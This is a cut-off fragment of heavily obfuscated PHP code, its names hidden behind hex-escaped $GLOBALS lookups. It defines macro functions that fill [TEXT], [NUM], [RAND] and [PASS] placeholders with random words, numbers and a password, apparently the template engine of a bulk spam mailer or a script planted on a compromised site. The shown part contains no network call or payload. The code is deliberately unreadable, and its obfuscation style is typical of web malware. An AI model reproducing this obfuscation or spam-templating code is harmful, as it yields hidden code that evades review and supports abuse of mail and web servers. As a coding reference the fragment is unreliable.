cgvp},${${"\x47LO\x42AL\x53"}["\x76\x63s\x69r\x79\x6f\x64\x67\x74l\x6c"]});${"GLO\x42\x41\x4c\x53"}["\x69\x73i\x63u\x77\x6cv"]="\x77o\x72\x64";$spbdcmchgi="\x63o\x6e\x74\x65\x6e\x74";${${"\x47\x4c\x4fB\x41L\x53"}["\x64\x64\x75\x76\x77x"]}=generate_word(${${"G\x4c\x4fBA\x4cS"}["\x72\x70\x75ydk\x79\x63"]});${${"\x47\x4c\x4f\x42\x41L\x53"}["\x62n\x78\x66tst\x64s"]}=preg_replace("/".preg_quote(${${"\x47\x4cO\x42\x41L\x53"}["q\x68\x6b\x6c\x65q\x66\x6b\x70\x70"]}[0][${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x70\x79q\x6fyy\x69\x70f\x74\x64"]}])."/",${${"\x47\x4cO\x42\x41\x4c\x53"}["\x69\x73icu\x77\x6cv"]},${$spbdcmchgi},1);}preg_match_all("\x23\\[TE\x58T\x5c-([[:\x64\x69\x67\x69t:]]+)\\]#",${$vyrsfduq},${${"\x47L\x4fB\x41LS"}["\x71\x68kleq\x66\x6bp\x70"]});for(${${"GL\x4fB\x41\x4c\x53"}["\x6b\x70yq\x6f\x79\x79\x69\x70\x66t\x64"]}=0;${${"\x47LOBAL\x53"}["j\x6d\x77\x6cl\x6cmm\x68\x68"]}<count(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6b\x69\x78\x72oh\x6ch\x74"]}[0]);${${"G\x4c\x4f\x42\x41LS"}["\x71\x6c\x69\x6b\x71\x77\x6f\x70"]}++){$jbvpmu="\x63\x6fn\x74e\x6et";${"G\x4c\x4fB\x41\x4c\x53"}["\x72\x73\x6b\x66\x6a\x74\x70"]="w\x6f\x72\x64";$mdfglul="\x69";${${"\x47\x4cO\x42AL\x53"}["i\x62\x68\x6e\x63\x75\x72\x74"]}=${${"G\x4c\x4f\x42\x41L\x53"}["\x71h\x6b\x6c\x65\x71fk\x70\x70"]}[1][${$mdfglul}];${${"\x47LO\x42\x41\x4cS"}["\x64\x64\x75\x76\x77\x78"]}=generate_word(${${"\x47\x4cO\x42\x41\x4cS"}["\x69\x62h\x6ec\x75rt"]});${$jbvpmu}=preg_replace("/".preg_quote(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71h\x6bl\x65\x71\x66\x6b\x70\x70"]}[0][${${"\x47\x4cO\x42\x41L\x53"}["\x6b\x70\x79\x71o\x79\x79\x69p\x66\x74\x64"]}])."/",${${"\x47L\x4fBA\x4cS"}["\x72\x73k\x66\x6at\x70"]},${${"\x47\x4c\x4fB\x41L\x53"}["\x62n\x78\x66\x74\x73tds"]},1);}return${${"\x47\x4cOB\x41\x4cS"}["\x62\x6exf\x74s\x74\x64s"]};}function xnum_macros($content){${"\x47\x4c\x4f\x42A\x4c\x53"}["r\x67\x63\x64d\x79"]="\x63\x6f\x6e\x74\x65\x6e\x74";${"\x47LO\x42\x41\x4cS"}["c\x70\x62vc\x6e\x7a"]="\x63on\x74e\x6e\x74";$bfjsydsobr="i";$mgdcbgqgi="\x69";preg_match_all("\x23\\[N\x55\x4d\\-([[:\x64i\x67it:]]+)\x5c]#",${${"GL\x4fB\x41\x4c\x53"}["c\x70b\x76c\x6e\x7a"]},${${"G\x4c\x4fB\x41\x4c\x53"}["\x71hk\x6c\x65q\x66\x6b\x70p"]});for(${$bfjsydsobr}=0;${$mgdcbgqgi}<count(${${"\x47\x4cO\x42A\x4c\x53"}["\x71\x68\x6b\x6ce\x71\x66kpp"]}[0]);${${"\x47\x4cOBA\x4c\x53"}["\x6b\x70y\x71oy\x79\x69p\x66\x74d"]}++){$yexzfacj="m\x61\x74\x63\x68\x65\x73";${"G\x4cO\x42A\x4cS"}["\x74\x79\x77\x79f\x76vfr\x79\x71"]="\x6e\x75\x6d";$jpiyknv="m\x61x";$ujgrjbrqs="\x6eu\x6d";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6fwh\x75\x75bgh"]="\x72\x61n\x64";$kmbzbjyqatdk="\x63\x6f\x6e\x74\x65\x6e\x74";$hhjatui="\x6da\x78";${"G\x4cO\x42ALS"}["see\x78f\x74mv"]="\x69";${$ujgrjbrqs}=${$yexzfacj}[1][${${"\x47\x4c\x4f\x42A\x4c\x53"}["see\x78\x66\x74\x6dv"]}];${${"G\x4cOBA\x4c\x53"}["sgtu\x6b\x6f\x6b"]}=pow(10,${${"\x47LO\x42\x41L\x53"}["t\x79\x77yf\x76vfry\x71"]}-1);${$hhjatui}=pow(10,${${"GL\x4f\x42A\x4c\x53"}["\x75\x63b\x71\x77\x74v\x6f"]})-1;${${"\x47LO\x42A\x4c\x53"}["\x6f\x77h\x75\x75bgh"]}=rand(${${"\x47\x4c\x4f\x42A\x4cS"}["\x73\x67\x74\x75\x6b\x6f\x6b"]},${$jpiyknv});$bmmhzsxbjm="\x63o\x6et\x65n\x74";${$bmmhzsxbjm}=str_replace(${${"G\x4cO\x42\x41\x4cS"}["\x71\x68k\x6ceq\x66\x6b\x70\x70"]}[0][${${"\x47L\x4f\x42A\x4c\x53"}["\x6b\x70yq\x6fyy\x69p\x66t\x64"]}],${${"\x47L\x4f\x42\x41\x4c\x53"}["r\x70u\x79\x64\x6b\x79\x63"]},${$kmbzbjyqatdk});}return${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x67\x63\x64\x64\x79"]};}function num_macros($content){$ewaayx="\x6d\x61t\x63h\x65s";$onqyyzrhjl="\x63\x6f\x6e\x74\x65nt";$ziwtqkdqrp="\x6d\x61\x74\x63\x68\x65\x73";preg_match_all("\x23\x5c[\x52\x41\x4eD\x5c-([[:d\x69g\x69t:]]+)\x5c-([[:\x64i\x67it:]]+)\x5c]\x23",${$onqyyzrhjl},${$ziwtqkdqrp});for(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6b\x70\x79\x71\x6fy\x79\x69p\x66td"]}=0;${${"\x47\x4c\x4f\x42\x41LS"}["\x6b\x70\x79\x71o\x79\x79\x69\x70f\x74\x64"]}<count(${$ewaayx}[0]);${${"GL\x4f\x42\x41\x4cS"}["\x6bp\x79\x71\x6f\x79\x79\x69\x70ftd"]}++){${"\x47\x4c\x4f\x42\x41L\x53"}["i\x6cs\x70\x65\x6bt\x64\x66r"]="\x6d\x69\x6e";$vkusiwdbt="\x69";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79ez\x78c\x77\x6c"]="\x6d\x61\x78";${"\x47LOB\x41\x4cS"}["d\x6flcii\x72\x78\x66\x73\x79"]="i";${"\x47\x4cO\x42\x41L\x53"}["q\x79q\x6fg\x64\x74\x73"]="\x6d\x61t\x63\x68e\x73";${"\x47\x4cO\x42\x41\x4cS"}["\x70\x62\x79v\x72\x78\x68\x6c"]="mi\x6e";${"\x47L\x4f\x42\x41L\x53"}["\x77\x64\x76q\x71\x74\x77\x64\x73\x65"]="m\x61tch\x65s";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70\x62\x79\x76rxh\x6c"]}=${${"\x47\x4cOBAL\x53"}["\x71yq\x6f\x67d\x74\x73"]}[1][${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["do\x6c\x63\x69\x69\x72\x78f\x73\x79"]}];${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x63s\x69\x72yo\x64\x67\x74ll"]}=${${"\x47\x4c\x4fB\x41\x4cS"}["q\x68\x6b\x6ceq\x66\x6b\x70\x70"]}[2][${$vkusiwdbt}];${"\x47\x4c\x4fB\x41\x4cS"}["gf\x6a\x62\x6c\x7a\x78d"]="\x63\x6fn\x74en\x74";${${"\x47LO\x42\x41LS"}["\x72p\x75\x79\x64\x6b\x79\x63"]}=rand(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69l\x73\x70\x65k\x74\x64\x66\x72"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79e\x7ax\x63\x77\x6c"]});$cgbhibjunt="\x72a\x6e\x64";${${"GL\x4fBAL\x53"}["\x67f\x6a\x62\x6c\x7a\x78d"]}=str_replace(${${"\x47\x4cO\x42\x41\x4c\x53"}["w\x64vq\x71t\x77\x64s\x65"]}[0][${${"\x47LOBA\x4cS"}["k\x70\x79qo\x79y\x69p\x66t\x64"]}],${$cgbhibjunt},${${"\x47\x4cOB\x41\x4c\x53"}["b\x6e\x78\x66t\x73\x74ds"]});}return${${"\x47\x4cOB\x41\x4c\x53"}["b\x6e\x78\x66\x74\x73\x74\x64\x73"]};}function generate_word($length){${"G\x4cOB\x41\x4cS"}["\x6b\x78v\x6e\x79\x64\x67\x6c\x70ne"]="\x73t\x72\x69\x6eg";${${"\x47L\x4fBA\x4c\x53"}["p\x6c\x6f\x67b\x66\x78w\x7aa"]}="ab\x63\x64\x65\x66ghi\x6ak\x6cmn\x6fp\x71rs\x74uv\x79xz";$ubskulelj="\x69";${${"\x47\x4cO\x42\x41\x4cS"}["\x6bep\x68\x68\x63\x68\x78\x6f"]}=strlen(${${"G\x4c\x4f\x42\x41L\x53"}["\x70\x6c\x6f\x67b\x66\x78\x77\x7aa"]});${"\x47LO\x42A\x4c\x53"}["r\x73\x64\x6ai\x74\x71b\x6f"]="l\x65\x6egt\x68";${${"GLO\x42A\x4c\x53"}["\x69\x77\x64dc\x70h\x62"]}="";for(${${"GLOB\x41\x4c\x53"}["k\x70\x79q\x6f\x79yi\x70ftd"]}=0;${$ubskulelj}<${${"\x47\x4c\x4f\x42\x41\x4cS"}["r\x73\x64j\x69\x74\x71\x62o"]};${${"\x47\x4cO\x42\x41\x4cS"}["k\x70\x79\x71\x6fy\x79\x69p\x66\x74d"]}++){${${"GL\x4f\x42\x41\x4c\x53"}["\x69w\x64d\x63ph\x62"]}.=substr(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70\x6co\x67\x62\x66xwz\x61"]},rand(1,${${"\x47L\x4f\x42A\x4cS"}["\x6b\x65p\x68h\x63h\x78\x6f"]})-1,1);}return${${"GLO\x42ALS"}["kxv\x6e\x79\x64\x67\x6cp\x6e\x65"]};}function pass_macros($content,$passes){$tqctipjdvoc="\x70\x61\x73\x73";$kiqowgjbuc="\x70a\x73\x73";${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x77pp\x66\x61\x6e"]="\x70\x61\x73s\x65\x73";${$kiqowgjbuc}=array_pop(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x77\x70p\x66a\x6e"]});${"\x47L\x4fBAL\x53"}["\x76\x73\x6a\x62\x75q\x6e\x73l\x6a\x71"]="\x63o\x6e\x74\x65\x6e\x74";return str_replace("[PASS]",${$tqctipjdvoc},${${"GL\x4f\x42\x41\x4cS"}["v\x73j\x62\x75\x71ns\x6cj\x71"]});}function […]
↧